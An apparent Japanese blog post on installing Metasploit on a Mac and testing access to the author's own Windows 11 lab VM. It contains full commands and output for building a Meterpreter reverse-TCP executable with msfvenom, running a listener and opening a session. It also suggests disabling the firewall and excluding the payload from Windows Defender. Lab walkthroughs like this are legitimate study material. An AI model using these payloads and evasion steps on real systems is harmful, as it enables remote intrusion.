概要
Mac に Metasploit をインストールして Windows にアクセスするテストをしてみました
Windows は UTM で同一ネットワーク上に構築しています
環境
- macOS 14.4
- Metasploit 6.3.60
- ARM Windows11 23H2 (UTM)
インストール
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
chmod 755 msfinstall && \
./msfinstall
brew install でもいけそうでしたが今回は公式の手順を使ってインストールしました
Tips: Windows ファイアウォールの無効化
特に外部からのアクセスがないのであればファイアウォールは無効にしたほうが簡単にテストできます
個別で許可しても OK
詳細設定から個別でポートやプロトコルを許可しても OK です
以下は ping (ICMP) を許可する場合です
真ん中あたりに許可するチェックボックスがあるのでチェックします
一覧画面でチェックマークがつけば許可状態になります
Mac 側のファイアウォールはデフォルトでは inactive などで特に何もする必要はないはずです
Metasploit 初期化
-
/opt/metasploit-framework/bin/msfconsole
** Welcome to Metasploit Framework Initial Setup **
Please answer a few questions to get started.
Would you like to add msfconsole and other programs to your default PATH? yes
You may need to start a new terminal or log in again for this to take effect.
Would you like to use and setup a new database (recommended)? yes
Running the 'init' command for the database:
Creating database at /Users/user01/.msf4/db
Creating db socket file at /var/folders/by/zv83htxj087dxf35rjpvff2h0000gn/T
Starting database at /Users/user01/.msf4/db...server starting
success
Creating database users
Writing client authentication configuration file /Users/user01/.msf4/db/pg_hba.conf
Stopping database at /Users/user01/.msf4/db
Starting database at /Users/user01/.msf4/db...server starting
success
Creating initial database schema
Database initialization successful
** Metasploit Framework Initial Setup Complete **
Metasploit tip: To save all commands executed since start up to a file, use the
makerc command
アクセスできるかテスト
-
/opt/metasploit-framework/bin/msfconsole
まずはアクセステスト用のファイルを生成します
msf6 > search type:payload windows/meterpreter/reverse_tcp platform:windows
msf6 > msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe
[*] exec: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.65.1 -f exe -o /Users/user01/Downloads/test.exe
Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /Users/user01/Downloads/test.exe
Mac 側を待受状態にします
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.65.1
LHOST => 192.168.65.1
msf6 exploit(multi/handler) > show options
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.65.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.65.1:4444
あとは windows 側に test.exe を配置し実行してリバースシェルが起動するか確認しましょう
[*] Sending stage (176198 bytes) to 192.168.65.2
[*] Meterpreter session 1 opened (192.168.65.1:4444 -> 192.168.65.2:49897) at 2024-03-13 09:05:49 +0900
meterpreter > ls
Listing: Z:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100666/rw-rw-rw- 6148 fil 2024-03-13 08:59:01 +0900 .DS_Store
100666/rw-rw-rw- 0 fil 2023-06-08 10:43:10 +0900 .localized
040777/rwxrwxrwx 0 dir 584554050854-11-09 16:00:16 +0900 .spice-clipboard
100777/rwxrwxrwx 73802 fil 2024-03-12 17:12:55 +0900 test.exe
meterpreter > sysinfo
Computer : WINDOWS-0MPIPQN
OS : Windows 11 (10.0 Build 22631).
Architecture : x64
System Language : ja_JP
Domain : WORKGROUP
Logged On Users : 1
Meterpreter : x86/windows
最後に
Mac に Metasploit をインストールしローカルネットワーク用の Windows マシンを使ってアクセステストをしてみました
ファイアウォールが無効になっている場合は元に戻すかテスト用の Windows マシン自体が不要であれば削除してしまいましょう
Windows 側に送った test.exe はウイルスファイルとして削除されてしまうことがあります
その場合は Windows Defender ウイルス対策で除外ファイルとして設定するか一時的にウイルス対策を停止しましょう
0 件のコメント:
コメントを投稿